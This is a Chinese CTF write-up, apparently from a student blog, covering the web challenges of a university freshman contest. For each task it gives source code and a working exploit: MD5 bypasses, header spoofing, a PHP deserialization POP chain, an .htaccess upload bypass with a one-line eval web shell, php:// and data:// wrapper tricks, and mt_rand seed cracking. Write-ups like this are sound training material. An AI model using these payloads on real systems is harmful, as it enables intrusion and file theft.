北京邮电大学天璇战队CTF平台地址:http://ctf.merak.codes/
前言
总的来说毕竟是新生赛,大部分难度不是太大(就web而言),但是还是有一些坑没有注意,反而浪费了大量的时间和把自己心态搞炸,还是太菜了题见的少了。
呐,太棒了,学到很多~
WEB部分
> ez_bypass
题目源码如下,进行代码审计:
<?php
//I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
//Please input first
?>
解题思路:
- get 传入
/?id[]=1&gg[]=2
或/?id=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&gg=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
- post 传入
passwd=1234567%00
或1234567e
- 得到 $flag="MRCTF{ba2e5e75-73b5-4df3-9a2b-bef1c18aa894}
> PYwebsite
好奇点了一下 py♂ flag 有个二维码扫了后是个假的,还反被嘲讽一波,还是老老实实找线索做题吧!
F12 发现这段JS代码:
<script>
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
</script>
一开始被骗了,还在这浪费时间,直接访问 ./flag.php
根据提示判断应该是要用 bp 修改 HTTP 头 XFF 为 127.0.0.1
得到 flag:MRCTF{976458ec-640f-41f7-9c2a-00626966228a}
> Ezpop
源码如下,这题当时没有做出来,现在复现注释参考了一下官方WP
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);//8.触发这个include,利用php base64 wrapper 读flag
}
public function __invoke(){
$this->append($this->var);//7.然后会调用到这里
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;//4.这里会调用str->source的__get 那么我们将其设置为Test对象
}
public function __wakeup(){//2.如果pop是个Show,那么调用这里
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的时候会调用__toString
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;//5.触发到这里
return $function();//6.()会调用__invoke,我们这里选择Modifier对象
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);//1.反序列调用这里
}
else{
$a=new Show;
highlight_file(__FILE__);
}
exp:
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$r=new Modifier();
$s=new Show();
$t=new Test();
$t->p=$r;
$s->str=$t;
$s->source=$s;
var_dump(urlencode(serialize($s)));
?>
提交后可得到一串base64密文,解码后 flag 为:
<?php
class Flag{
private $flag= "MRCTF{6b53701b-ae56-4dc2-b901-7272134987bf}";
}
echo "Help Me Find FLAG!";
?>
具体总结放在另一篇文章里啦
> 你传你?呢
上传绕过,尝试截断绕过无果
利用BurpSuite修改MIME欺骗后端文件类型 修改 Content-Type: image/png 然后就可以传任意文件后缀 利用.htaccess来制作图片?,增加使用php解析的文件后缀(.jpg)
AddType application/x-httpd-php .jpg
或
<FilesMatch "jpg"> SetHandler application/x-httpd-php </FilesMatch>
然后再写个一句话
<?php eval($_POST["lola39"]);?>
连上后在根目录找到 flag 为 MRCTF{f34742e5-0c20-48e4-8bb9-940b50b3f334}
> 套娃
源码如下:
<?php
//1st
$query = $_SERVER['QUERY_STRING'];
if (substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
?>
- 在URL中GET请求当输入
.
或者(空格)或者_
都会忽略,因此b_u_p_t
,其实就是b u p t
- 正则的意思必须要23333开头和结尾,但是值不能为23333,这个时候url的%0A为换行污染,可以绕过正则,且值不为23333
进入下一层 secrettw.php
F12 查看有一堆 JSFUCK 放到控制台运行,弹出提示要 post Merak,post 参数 Merak=0 得到源码:
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
- 修改 XFF 头发现被 ban 了,尝试修改 Client-ip,成功
- 参数 2333 使用伪协议
data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
即可绕过 - 参数 file 使其输出 flag.php 要对change() 解密
exp:
<?php
function enc($payload){
for($i=0; $i<strlen($payload); $i++){
//原解密函数将chr(ord($v[$i])+$i*2)拼接在了最终返回值的后面
$re .= chr(ord($payload[$i])-$i*2);
}
return base64_encode($re);
}
echo enc('flag.php');
//flag.php加密后得到:ZmpdYSZmXGI=
?>
> Ezaudit
原页面 index.html 没有可用的信息,扫一波后台发现 login.php(为空无用) 和 login.html(粗糙的登录界面)
还有 www.zip 源码泄露:
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
可以得到的信息如下:
- username:crispr
- password:万能密码
- private_key:私钥
private_key 这里涉及到 PHP mt_rand() 随机数安全小知识点,在笔记里详谈
笔记链接:https://www.yuque.com/lola39/hyqxgz/pxi6qd
先用脚本跑出方便 php_mt_seed 的格式,PHP 脚本代码:
<?php
$str = "KVQP0LdJKRaV3n9D";
$randStr = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
for($i=0;$i<strlen($str);$i++){
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
?>|
python 脚本代码:
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
结果:36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
根据公钥爆破出 seed = 1775196155
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
/**
先生成一次公钥再生成一次密钥 KVQP0LdJKRaV3n9D(公钥) XuNhoueCDCGc(私钥)
**/
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key();
echo "\n";
echo private_key();
?>
登录即可得flag
> Ezpop_Revenge
暂时放一放,复现没看懂,技术还不到家,太菜了。